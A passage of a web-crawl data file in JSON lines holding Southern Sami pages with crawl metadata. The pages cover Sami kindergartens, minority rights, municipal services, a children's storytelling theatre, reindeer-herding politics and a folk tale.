påaskekonsertem Guovdageaidnusne åadtjoeji jïh åådtje meatan årrodh Rijhkescenen tjaktjekonsertesne.\n–Edtjem tjarke barkedh åvtese juktie riejries årrodh mubpien jaepien konsertese. Manne aavodem, men guhkiem domtoe aktem ellies jaepiem vuertedh, Saara Hermansson föörhkede, vitnije Saemien Grand Prixeste.\nEiRA mubpiem sijjiem veelti laavloeminie \"Eallin lea dál\". Kalle Urheim Divtasvuodneste gåalmeden sæjjan bööti laavloeminie \"Don besset jođášit». Aaj dah åadtjoeh meatan årrodh konsertesne Oslosne.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/samimag.no\/sma\/content\/akte-joekoen-sjollehke-domtese","date":"2019-07-17T04:47:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525046.5\/warc\/CC-MAIN-20190717041500-20190717063500-00418.warc.gz","language":"sma","language_score":0.9999727011,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999727010726929}","num_words":308,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Saemien maanagïertefaalenasse\n- Prosjekte Sámi mánát ođđa searvelanjain\n- Aavoedimmie goevten 6. biejjeste maanagïertesne\nRaerielïhtsege\nKrirrie: NSR\nVihkeles leavloem bïejedh saemien gïelese jïh kultuvrese aktene saemien maanagïertefaalenassesne. Saemien maanah edtjieh kvalitatijve hijven maanagïertefaalenassem utnedh gusnie saemien aarvoeh, saemien kultuvre jïh aerpievuekien daajroe leah jarngesne.\nSaemien maanagïertefaalenasse\nSaemien maanagïertefaalenasse lea akte faalenasse gusnie maanagïerten barkoevåarome lea saemien gïele jïh kultuvre. Maanagïerte edtja maanaj saemien identiteetem nænnoestehtedh viehkine saemien gïelem nuhtjedh jïh saemien kultuvren bïjre bievnedh. Saemiengïelen pedagogeles barkijh maanagïertem stuvrieh.\nMaahta saemien maanagïertefaalenassem daejnie såarhtine juekedh: a) saemien maanagïerth jïh nöörjen maanagïerth saemien goevtesinie b) maanagïerth faalenassine saemien gïelelïerehtimmien bïjre.\nSaemiedigkie saemien maanagïertefaalenassese sjïehteladta viehkine dåarjoem reeredh maanagïertide. Maanagïerth mah aktem saemien maanagïertefaalenassem vedtieh maehtieh dejtie joekehts dåarjoeöörnegidie ohtsedh. Saemiedigkien budsjedte dejtie dåarjoeöörnegidie buerkeste.\nJuktie maanagïerten barkoem dåarjoehtidh Mieriesoejkesjinie maanagïerten sisvegasse jïh laavenjassine jienebh teemagærjetjh leah dorjesovveme. Teemagærjetjh edtjieh skraejrine jïh våaroeminie årrodh ussjedæmman gosse ovmessie teemajgujmie barka mah leah maanagïerten sisvegen jïh laavenjassi bïjre. Akte bïhkedæjja maanagïertide saemien maanajgujmie lea dorjesovveme.\nProsjekte Sámi mánát ođđa searvelanjain\nProsjekte Sámi mánát ođđa searvelanjain edtja vïjhtine jaepine jarkelimmiem sjugniedidh saemien maanagïertestruktuvresne mij saemien filosofijem jïh aerpievuekien daajroem våaroeminie åtna.\nDaate sæjhta jiehtedh saemien maanagïerth edtjieh maehtedh saemien pedagogeles vuekiej mietie barkedh mah saemien gïelem, kultuvrem jïh aerpievuekien daajroem jarngesne utnieh jïh leah dan daajbaaletje saemien siebriedahkese sjïehtedamme.\nEdtja tjåanghkoeh jïh seminaarh dotkijigujmie jïh universiteetigujmie tjïrrehtidh juktie juhteles saemien vuekieh damtijidh saemien kultuvren jïh filosofijen, gïelen jïh aerpievuekien daajroen mietie.\nPilotemaanagïerth ovmessie saemien dajvijste olkese veeljesuvvieh juktie saemien maanagïerten båetijem aejkiem hammoedidh. Gaajhkh maanagïerth jïh gaajhkh pedagogh edtjieh joekehtslaakan eadtjaldovvedh dovne maahtoeevtiedimmien tjïrrh jïh eadtjohkelaakan meatan årrodh sijjen daajrojne.\nSámi mánát ođđa searvelanjain edtja abpe Saepmesne barkedh dan gaavhtan prosjekte lea meatan Saemien parlamentarihkeles raerien dahkoesoejkesjisnie. Saemiedigkieh sveerjen jïh såevmien bielesne leah Interreg-vierhtieh ohtsedeminie juktie maehtedh meatan årrodh prosjektesne.\nProsjektesaetniesvoeth\nProsjekte jåhta vïjhte jaepieh voerhtjen 2018 raejeste\nSaemiedigkie lea prosjekten aajhtere\nBeetnehvierhtieh Maahtoedepartemeenten tjïrrh\nProsjektedåehkie:\nProsjekten åvtehke Ol-Johán Sikku\nAnna Kristine Skum Hætta jïh Anne Jannok Eira, prosjekten meatanbarkijh\nGudrun Kuhmunen jïh Anne Ingebjørg Eriksen, faageles tjiehpijh\nAavoedimmie goevten 6. biejjeste maanagïertesne\nGoevten 6. b. lea byögkeles saevegebiejjie Nöörjesne jïh abpe laante biejjiem meerhkesje goh saemiej åålmegebiejjie. Jïjnjh heannadimmieh jïh symbovlh leah ektiedamme dan beajjan.\nNuhteligs vierhtieh maanagïertide, skuvlide jïh mubpide:\n- Vierhtiegærjetje maanagïertide saemiej åålmegebiejjien bïjre (Aktesne.no)\n- Barkoeaarhke saemiej åålmegebeajjan (Maritvold maanagïerte)\n- Saemiej åålmegebiejjie (NRK Skole)\n- Lihku beivvin sámi álbmogii! (Forskning.no)\n- Saemiej åålmegebiejjie (NRK)\n- Sámi álbmotbeaivi p.s. (Forskning.no)\nLohkh vielie åålmegebiejjien jïh nasjonaale symbovli bïjre:","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Maanagierte","date":"2019-07-19T17:32:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526324.57\/warc\/CC-MAIN-20190719161034-20190719183034-00178.warc.gz","language":"sma","language_score":0.9999405146,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999405145645142}","num_words":395,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjonaale unnebelåhkoeh\nSveerje vïjhte nasjonaale unnebelåhkoeh åtna: judarh, romerh, saemieh, sveerjesåevmieladtjh jïh torneladtjh. Datne nænnosth jis datne lïhtseginie aktene unnebelåhkojste jallh ij – dïhte lea dan bïjre mij tjïertine datne identifijeradamme jïh damth ektievoetem.\nVåarome lea laake nasjonaale unnebelåhkoej jïh unnebelåhkoegïeli bïjre mij bööti jaepien 2010 jïh lea nænnoestamme orre njoelkedassigujmie tsïengelen 1.b. raejeste. Mah tjïerth mah edtjin bæjhkoehtamme goh unnebelåhkojde rïjhkebiejjie nænnoesti. Dïhte lij seamma aejkien goh Sveerje 1999 meatan Europaraerien mieriekonvensjovnese vaarjelimmien bïjre nasjonaale unnebelåhkojde jïh dïhte europeijen njoelkedasse laantebiehkie- jallh unnebelåhkoegïeli bïjre.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.socialstyrelsen.se\/om-socialstyrelsen\/nationella-minoriteter\/nasjonaale-unnebelahkoeh\/","date":"2019-08-17T10:44:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027312128.3\/warc\/CC-MAIN-20190817102624-20190817124624-00096.warc.gz","language":"sma","language_score":0.9999673367,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999673366546631}","num_words":82,"character_repetition_ratio":0.13,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjehealsoe vihkeles ektiedahkoereformesne\nBarkoe mij heerrede jïh healsoem skreejrie lea vihkeles dovne healsoesuerkien sisnie jïh ålkolen. Almetjehealsoelaaken tjïrrh fylhkentjïelth jïh tjïelth åejviedïedtem åådtjeme dan gamte almetjehealsoebarkoen åvteste mij lea siebriedahken vööste stuvreme.\nFylhkenålma edtja hoksedh almetjehealsoe soejkesjinie gorresåvva\nFylhkenålma edtja skreejredh staateles råajvarimmieh tjïrrehtidh almetjehealsoesuerkesne. Dïhte gamte almetjehealsoebarkoe edtja aktem monnehke evtiedimmiem siebriedahkeste hoksedh, jïh soejkesjimmie dannasinie akte vihkeles tsavtshvierhtie sjædta. Raeriej jïh bïhkedimmien tjïrrh tjïeltide jïh jeatjah aktööride, Fylhkenålma edtja gïehtjedidh almetjehealsoe meatan sjædta tjïelten, regijovnen jïh staaten sojekesjinie. Fylhkenålma edtja aktine åeliedihks ektiedahkojne aktööri gaskem.\nFylhkenålma maahta vaaksjodh tjïelth jïh fylhkentjïelth sijjen dïedth illieh almetjehealsoesuerkesne.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.fylkesmannen.no\/sma\/Rogalaanten\/Healsoe-jih-hokse\/Almetjehealsoe\/","date":"2019-08-23T01:39:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317688.48\/warc\/CC-MAIN-20190822235908-20190823021908-00202.warc.gz","language":"sma","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999983310699463}","num_words":97,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.111,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nÅrroejinie datne reaktam åtnah tjïelten sïjse vuejnedh. Datne maahtah tjaatsegh vuejnedh jïh raeriestimmieh tjïelten politihkeridie vedtedh.\nTjïeltereeremen tjåanghkojde govledh\nTjïeltereeremen tjåanghkoe lea ræhpas gaajhkide. Datne maahtah tjåanghkose guessine båetedh staaregåetien reeremesalkesne Nygatan 16 jallh ryöktesthseedtemem vuejnedh tjïelten webbesijjesne. Tjïeltereereme tjåanghkene minngemes måantan fïerhten asken, tsåahka 13:00.\nTjïeltereeremen jïh moenehtsi tjåanghkoej åvteli tjåanghkoetjaatsegh tjïelten webbesæjjan bæjhkohte. Naan tjaatsegh eah bæjhkohth, vuesiehtimmien gaavhtan jis aktegs almetjen bïjre sjæjsjalidh jïh eah maehtieh dah bïevnesh bæjhkoehtidh. Dellie bïevnese sekretessine vaarjelidh.\nTjïeltereeremen, tjïelteståvroen jïh tjïelten moenehtsi protokollh leah byögkeles. Protokolle tjïelten webbesijjesne jïh maahtah aaj dejtie dængkodh moenehtsi tjaeliejistie.\nRaeriestimmieh seedtedh\nDatne mij Orrestaaresne tjaalasovveme maahtah raeriestimmieh seedtedh, veasojeraeriestimmie, tjïeltereeremasse jis maam akt datne vïenhth reereme edtja sjæjsjalidh.\nGaskesadth dejtie mah veeljesovveme\nDatne maahtah politihkeridie gaskesadtedh, ringkedh, guessine båetedh jallh e-påastine. Tjïelten vieksele, 0660-880 00, maahta datnem viehkiehtidh daam gaavnedh maam ohtsedidh. Prinsippe politihkeri jïh dïenesjemaenniej e-påasteadressh gaavnedh leah: åvtenomme. firstname.lastname@example.org","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/vuejnedhjihtsevtsedh.4.4c4feec515e441a88a91f9eb.html","date":"2019-08-19T15:09:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027314752.21\/warc\/CC-MAIN-20190819134354-20190819160354-00482.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":145,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien reeremetjïelte\nStaaren tjïelte lea saemiengïelen reeremedajvesne. Dïhte sæjhta gaskem jeatjah jiehtedh datne gie saemie nuepiem åtnah saemiestidh dov gaskesadtemisnie tjïeltine jïh datne reaktam åtnah aarhskuvledarjoemasse jïh voeresehoksese abpe jallh biehkine saemiengïelesne.\nDov reaktah jïh tjïelten dïedth\nTsevtseme jïh meatan årrodh\nStaaren tjïelte edtja dutnjien goh saemie nuepiem tsevtsiemasse vedtedh dejtie gyhtjelasside mejgujmie dutnjien duehtieh jïh sjïehteleslaakan dijjine dagkeri gyhtjelassine råårestalledh.\nTjïelte edtja struktureradamme dialogem utnedh dijjine saemiejgujmie guktie maahta dijjen vuajnoeh jïh daerpiesvoeth krööhkestidh. Tjïelte edtja sjïere maanaj jïh noeri nuepieh freemmedh nuepieh tsevtsiemasse vedtedh dejtie gyhtjelasside mejgujmie dejtie duehtieh jïh sjïehteleslaakan dejgujmie dagkeri gyhtjelassine råårestalledh.\nBïevnesh\nMijjieh tjïeltine edtja datne saemine dov reaktaj bïjre jïh mijjen dïedten bïjre daej laaken mietie jïh dej njoelkedassi mietie mejtie daate laake vuesehte.\nReakta saemiengïelem nuhtjedh gosse tjïeltem gaskesadtedh\nSaemine datne reaktam åtnah dovne njaalmeldh jïh tjaaleldh saemiestidh dov gaskesadtemisnie mijjine Staaren tjïeltesne.\nReakta saemien gïelem utnedh ajve aamhtesisnie jallh ierine tjïelti luvnie, vuesiehtimmieh jis datne tjïeltesne årroeh, ierie jielemen bïjre mij tjïeltesne jallh jis datne gåetie tjïeltesne. Datne edtjh aaj paarte jallh paarten sæjjasadtje ieresne årrodh.\nJis datne saemiengïelem åtnah dagkeres ieresne, mijjien dïedte njaalmeldh vaestiedassem vedtedh seamma gïelesne. Jis datne juridihken viehkiehtæjjam ohtsele, dovne reaktah åtnah, vaejtemen mænngan tjaaleldh jarkoestimmiem åadtjodh mej bïjre nænnoestimmieh jïh nænnoestimmie-tjïelkestimmieh dejnie ierine saemien gïelesne.\nMijjieh tjïeltine edtjebe tjohtjedh aaj jeatjah vuekine datnem dåastoehtidh saemien gïelesne jïh tjohtjebe datne edtjh maehtedh gaavnedidh barkijh gïeh saemiestieh gusnie daerpies.\nTjïelte nuepiem åtna nænnoestidh sjïere guassahtalleme- jïh telefontïjjh gåessie mijjieh maehtebe datnem dåastoehtidh saemiengïeleldh.\nSaemiengïele aarehskuvledarjoeminie\nStaaren tjïelte edtja sijjiem maanide faaledh, jis dej hokseutnijh daam sijhtieh, aarhskuvlesne gusnie abpe jïh biehkine lïerehtimmeste saemiengïelesne. Hokseutnijh gïeh aarhskuvlesijjiem ohtsedieh dej maanese edtjebe gihtjedh jis dah sijhtieh sijjiem dagkeres aarhskuvlesne.\nStaaren tjïelte edtja tjohtjedh sijjiem faaledh vuesiehtimmie fuelhkiebiejjiehïejmesne, ræhpas aarhskuvlesne jïh jïjjesijjesne gusnie abpe jallh biehkine darjoemistie saemiengïelesne.\nSaemiengïele aarehskuvleklaassesne jïh maadthskuvlesne\nTjïelte sjïere dïedtem åtna dejtie saemien gïelide vaarjelidh jïh gorredidh. Tjïelte edtja aaj lissine saemiej nuepieh freemmedh dej kultuvrem gorredidh jïh evtiedidh Sveerjesne. Maanaj evtiedimmie dej kulturelle identiteetem jïh saemiengïelen nåhtoem edtja sjïere freemmedh.\nStaaren tjïelte tjohtjoe ietniegïelelïerehtimmiem faaledh gaajhkine saemien gïeline. Lïerehtimmesne åarjelsaemiengïelesne maahtah tjïelte faaledh lohkehtæjjam sijjesne. Lïerehtimmiem dej jeatjah saemiengïeline voejhkelibie maajeööhpehtimmien tjïrrh faaledh.\nLearohkh gïeh jïjtje saemine identifijeradieh reaktam utnieh lïerehtimmiem saemiengïelesne.\nNuekies jis akte learohke sæjhta lïerehtimmiem jïh dellie skuvle edtja dïedtem utnedh lïerehtimmiem öörnedh. Dïhte dïedtem åtna jis sjïehteles lohkehtæjja gååvnese. Maadthskuvlesne, sjïereskuvlesne, saemieskuvlesne jïh maadthsjïereskuvlesne dïedtem utnieh seamma jïlhts dïhte lea jielije gïele gåetesne jallh ij.\nSaemiengïele voeresehoksesne\nStaaren tjïelte edtja faaledh dïsse gie dagkerem nuepiem vaajta, abpe jallh biehkine servicem jïh hoksem åadtjodh mah voeresehoksen faaleldahkemieresne dejstie barkijistie gïeh saemien gïelem maehtieh. Tjïelte edtja aaj faaleldahkemieresne dej voeresi daerpiesvoeth hoksedh dej kulturellen identiteetem gorredidh.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.ostersund.se\/andra-sprak\/aarjelsaeminen-sydsamiska\/saemien-reeremetjielte.html","date":"2019-08-18T23:33:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027314353.10\/warc\/CC-MAIN-20190818231019-20190819013019-00530.warc.gz","language":"sma","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 1.0000064373016357}","num_words":444,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Billetter: klikk her\nStaaloe – faamoej vööste gæmhpodh \/ -å bekjempe kjempene.\nBuerie båeteme mijjen mubpien soptsestimmieteaterasse Staaloen bïjre. Daan aejkien akte onne saemienïejte mij tjuara dan stoerre, veaksehke Staaloen jïh altese gåmma Rovhtegen vööste gæmhpodh mij lea isvelihke jïh vaarege. Rovhtegen akte guhkies ruevtiegïrse maam nuhtjie juktie hïegkem almetjijstie njammedh. Dan åvteste saemienïejte tjuara dovne væjsehke jïh våårege årrodh.\nVelkommen til vårt andre fortellerteater om Staaloe. Denne gangen er det en liten samejente som må bekjempe den store, sterke Staaloe og hans kone Rovtege som er blodtørst og farlig. Rovtege har et langt jernrør som hun bruker for å suge livet av folk. Derfor må samejenta være både lur og forsiktig.\nStaaloe akte vihkeles mytologeles gaagkoe saemien soptsestimmievuekesne. Staaloen leah almetji gaajhkh viesjiesvoeth mejtie edtjebe lïeredh gïetedidh goh maanah. Dan åvteste dïhte tjirkijinie åtnasåvva guermiefaamoej åvteste veartenisnie. Seamma tïjjen lea akte \"dejstie mubpijste\", dah mah ålkoelistie båetieh jïh eah maam gænnah guarkah saemien eatnemen jïh aerpievuekiej bïjre.\nStaaloe er en sentral mytologisk skikkelse i samisk fortellertradisjon. Han representerer alle menneskelige svakheter som vi skal lære å håndtere som barn. Derfor brukes han som representant for kaos-kreftene i verden. Samtidig er han en av «de andre», de som kommer uten ifra og som ikke forstår noe om samisk natur og tradisjon.\nDaejnie teaterestuhtjine dan isvelihke Staaloen jïh altese gåmman bïjre, sïjhtebe mijjen dåarjoem vedtedh guktie dïhte saemien soptsestimmievuekie annje jeala. Daelie mijjieh fuemtide gåhtjobe juktie vihtem jïh goerkesh lïeredh – Saepmien stööremes fæjjoeh jïh vïrrenjammijh!\nMed denne forestillingen om den blodtørstige Staaloe og hans kone Rovtege, ønsker vi å gi vårt bidrag til å holde den samiske fortellertradisjonen ved live. Nå maner vi frem kjempene for å lære folkevett og forstand – Sápmis største fiender og blodsugere!\nSoptsestimmieteatere maanide 6-12 jaepien båeries\nFortellerteater for barn 6-12 år\nDåarjoehtæjja,manuse\/ Medvirkende,manus: Marianne Kappfjell\nStuvrije \/Regi: Marianne Kappfjell, Leammuid Biret Rávdnà\nBïhkedimmie, Tjiehpeles konsulente \/ Dramaturg,kunstnerisk konsulent: Mette Brantzeg\nDåahkadarjoje \/ Dukkemaker: Grete Larsen\nGaarvoe \/ Kostyme: Kari Britt Nilsen","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/www.asteatere.no\/arrangement\/nypremiere-staaloe\/","date":"2019-08-22T13:49:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317130.77\/warc\/CC-MAIN-20190822130553-20190822152553-00040.warc.gz","language":"sma","language_score":0.9920710325,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9920710325241089}","num_words":318,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Sïjhtem maaje NBR:n åvtehkinie orresistie veeljesovvedh.\n–Ij leah naan juerie båatsoe lea mov vaajmoen lïhkesadtje jïh NBR lea dïhte reaktoe sijjie dellie, Ellinor Marita Jåma jeahta.\nJåma lea åvtehkinie orreme Nöörjen Båatsoesaemiej Rijhkesiebresne 2014 raejeste. Dïhte aaj saemiedigkietjirkije læstoen åvteste Åarjel-Saemiej Gïelh. Jaepien 2017 Jåma akten latjkoen bïjre seamadi NSR:ine satne edtji göökte jaepieh saemiedigkieraeresne tjahkasjidh. Jåma abpe daelvien nuhtjeme daan veeljemen bijjelen ussjedidh.\n–Annjebodts ajve presidentem bïeljelamme manne leam vyljehke NBR:n åvtehkinie årrodh göökte orre jaepieh. Ij guhte maehtieh tjirkedh manne orresistie veeljesovvem, men dovne NBR:n åvtehkinie årrodh jïh seamma tïjjen saemiedigkieraeresne tjahkasjidh ij gåaredh gænnah. Jis manne vihth åvtehkinie NBR:sne veeljesovvem dellie Åarjel Saemiej Gïelh ij lïhtseginie raeresne sjïdth, Jåma jeahta mij lea Åarjel-Saemiej Gïelh-læstoen aajnehke tjirkije.\n–Ij leah naan juerie båatsoe lea mov vaajmoen lïhkesadtje. Mijjieh jïjnjem buektiehtamme, men annje joekoen stoerre haestemh mijjen uvte utnebe, jïh annje mov lea stoerre skraejrie båatsoen åvteste barkedh jïh dam bööremeslaakan NBR:sne darjoem.\nAnnjebodts ij naan vuestiekandidaate\nStoerre nuepie Jåma vihth åvtehkinie sjædta rijhketjåanghkoen mænngan ruffien 14. -16. b. Daan mearan ij naan vuestiekandidaate.\n–Manne hijven bïevnesh bååstede åådtjeme dejstie voenges siebrijste gosse manne sïjhtem åvtehkinie sjïdtedh orresistie. Dah leah madtjeles dejnie barkojne maam manne jïh dïhte joekoen åajvoeh ståvroe leah dorjeme. Mijjieh joekoen hijvenlaakan laavenjosteme dovne ståvrosne jïh dej voenges siebriej åvtehkigujmie. Daan mearan mijjieh guhkiem gïehtelamme alliansh bigkedh, gaskesem sjugniedidh Stoerredigkien jïh reerenassen jïh jeatjah årganisasjovni sisnjeli. Daelie dïhte stoerre jïh vihkielommes barkoe aajmene mij lea abpe båatsoem meatan åadtjodh, jeahta.\nNoerh NBR:n sïjse sæjhta\nLissine dejtie stoerre politihkeles aamhtesidie goh gruvaskilkehtassh jïh bïegkejårrehtspaarhkh, juvrepolitihke jïh orre laakeraeriestimmie gusnie gaskem jeatjah raeriestimmie indivijdemïerhkesjimmien bïjre bovtseste, Jåma sæjhta barkedh juktie jienebh lïhtsegh årganisasjovnebarkoen sïjse dåårrehtidh.\n–Manne aavone dan åvteste noerh leah eadtjohke jïh ståvroem jïh siebriedahkem haestieh. Dïhte akte stoerre skraejrie munnjien. Joekoen vihkeles lïhtsegh NBR:n sïjse åadtjodh. Mijjen leah gellie moenehtsh jïh posisjovnh mejtie almetjh daarpesjibie. Årganisasjovnem dåarjoehtidh lea joekoen vihkeles.\nIsvelihke reerenasseste\nJuktie gaajhkesh dovnesh edtjieh daejredh gusnie datne tjåadtjoeh, maam tuhtjh reerenassen båatsoepolitihken bïjre, goh skilkehtassh eatnamisnie jallh indivijdemïerhkesjimmie bovtseste.\n–Dïhte isvelihke. Raaktan ovmurreds mijjieh aktem reerenassem utnebe mij dan tjarke pryövoe båatsoem daaroedehtedh. Mestie manne jeenjemes båasarostem lea dah eah buektehth båatsose goltelidh, jïh stoerredigkiepolitihkerh dan vaenie daajroem utnieh jïh eah konsekvenside sijjen dahkojste guarkah. Im maehtieh guarkedh man åvteste dah sijhtieh indivijdemïerhkesjimmiem faamojne tjïrrehtidh, gosse ij guhte daejrieh guktie jïh man åvteste. Aktem dagkeres laakem mijjen åejjien bijjelen tsaekedh vuesehte dah eah båatsoem jïh mubpide seahkerh gænnah, mah leah dam nyrhteme. Daate joekoen isvelihke, Ellinor Marita Jåma.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/samimag.no\/sma\/content\/sijhtem-maaje-nbrn-avtehkinie-orresistie-veeljesovvedh","date":"2019-08-18T01:36:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313536.31\/warc\/CC-MAIN-20190818002820-20190818024820-00303.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":409,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Minngemosth libie goerkesem åådtjeme mijjen daerpiesvoeten åvteste jïh vïenhtebe daate sæjhta viehkiehtidh kvaliteetem saemien maanagïertine jïh skuvline nænnoestehtedh, saemiedigkiepresidente Vibeke Larsen jeahta.\nÅtnoem saemiengieleste eevtjie\nJienebh nasjonaale maahtoejarngh dan nöörjen skuvlese gååvnesieh, men ij guhte dan saemien skuvlese. Saemien lohkemejarnge lea jaepien 2007 raejeste akte seksjovne orreme Saemien jïlleskuvlen nuelesne. Jarnge ij leah staatusem åtneme goh nasjonaale jarnge jïh daate sæjhta jiehtedh dah eah leah seamma öörnedimmiem jïh beetnehdåarjoem åtneme goh doh nasjonaale jarngh.\nSaemien lohkemejarnge lea akte vierhtiejarnge joekoen stuvreme lïerehtimmiesysteemen vööste, maanagïerten raejeste jollebe ööhpehtimmien raajan. Saemien lohkemejarnge vijrieslaakan barka juktie njaalmeldh jïh tjaaleldh åtnoem saemien gïeleste eevtjedh årroji luvnie.\nJienebi jaepiej gæmhpoe lea illedahkh vadteme\nGellie jaepieh Saemiedigkie lea barkeme aktem goerkesem åadtjodh man vihkeles lea Saemien lohkemejarnge edtja seamma staatusem åadtjodh goh doh jeatjah nasjonaale jarngh, jïh daelie illedahkh daehtie barkoste vuajna. Saemiedigkie lea gaajhkine tjåanghkojne Maahtoedepartemeentine aamhtesem buakteme lissiehtamme ekonomeles mieriej bïjre Saemien lohkemejarngese, jïh minngemes aejkien lahtestimmiebarkosne dan bijjielisnie neebneme stoerredigkiebïevnesasse.\n–Mænngan gellie jaepieh gymhpeme åadtjobe minnegemosth aktem saemien maahtoejarngem seamma mieriekrïevenassigujmie goh doh jeatjah luhkie nasjonaale maahtoejarngh utnieh, presidente Vibeke Larsen jeahta.\nMaahtoedepartemeente, Saemien jïlleskuvle jïh Saemiedigkie edtjieh lïhke govlesadtemisnie laavenjasside vuartasjidh dan orre jarngese jïh guktie maahta dejtie sjïehtesjidh dej nasjonaale jarngigujmie. Soejkesjamme doh jarkelimmieh faamoem åadtjoeh tsïengelen 1.b. 2018.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Preessebievnesh\/PRM-Saemien-lohkemejarnge-staatusem-aaaadtje-goh-nasjonaale-jarnge","date":"2019-08-20T18:10:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315558.25\/warc\/CC-MAIN-20190820180442-20190820202442-00400.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":206,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Lohkede saemien, maam Knut Bergsland jïh Ella Holm Bull tjaaleme. Jaepien 1993 gærja trygkesovvi, jïh daennie soptsesisnie åadtjoeh govledh mij heannadi goh Jupmele edtji jeanoen rastah.\nBïerne\nDej beeli goh Lutniestæjja daennie eatnamisnie fïelestalleminie, nåå gellien aejkien gujht båata almetji gåajkoe. Sæjhta aaj naan viehkiem. Ijje, ij annje åadtjoeh gænnah. Gaajhkesh utnin, eah gujht sijjieh dam daarpesjh viehkiehtidh, eah gujht sijjieh dam doesth viehkiehtidh gænnah, guktie gellien aejkien baanhtsan sjædta gukt' edtja aaj baahtsedh.\nAkten aejkien dellie lij baenhtsesne, edtja stoerre jeanoen rastah. Ij lij dej beeli naan vïnhtsh jallh mij gænnah, guktie tjoerin pluahtam stealladidh jïh aaj numhtie rastah. Idtji guhtegh sïjhth, såemies idtjin aaksjoem utnieh, såemies idtjin maam utnieh. Dellie maa Lutniestæjja måjhtije satne maa edtja vaedtsedh jïjtse kreekigujmie soptsestidh, mah dah maehtieh viehkiehtidh.\nDle båata bovtsi gåajkoe, jïh jeahta: \"Dijjieh mannem lutnjestidie rastah dom johkem?\" \"Ibie maa mijjieh maehtieh,\" bovtsh svååroeh, \"biejjie guaka, bïjvele sjædta, ibie maa mijjieh,\" Guktie dah feerin tsuvvien bæjjese don tjahkese.\n\"Jaa, jaa,\" Lutniestæjja ussjede, \"åadtjodh edtjede tsuvvedh, jïh biejjie edtja baahkedidh, åadtjodh edtjede snaabredh bijjene,\" Jïh numhtie dam bovtse dehtie biejjeste bælla goh mest'em.\nDellie vaadtsije våålese, veanhta 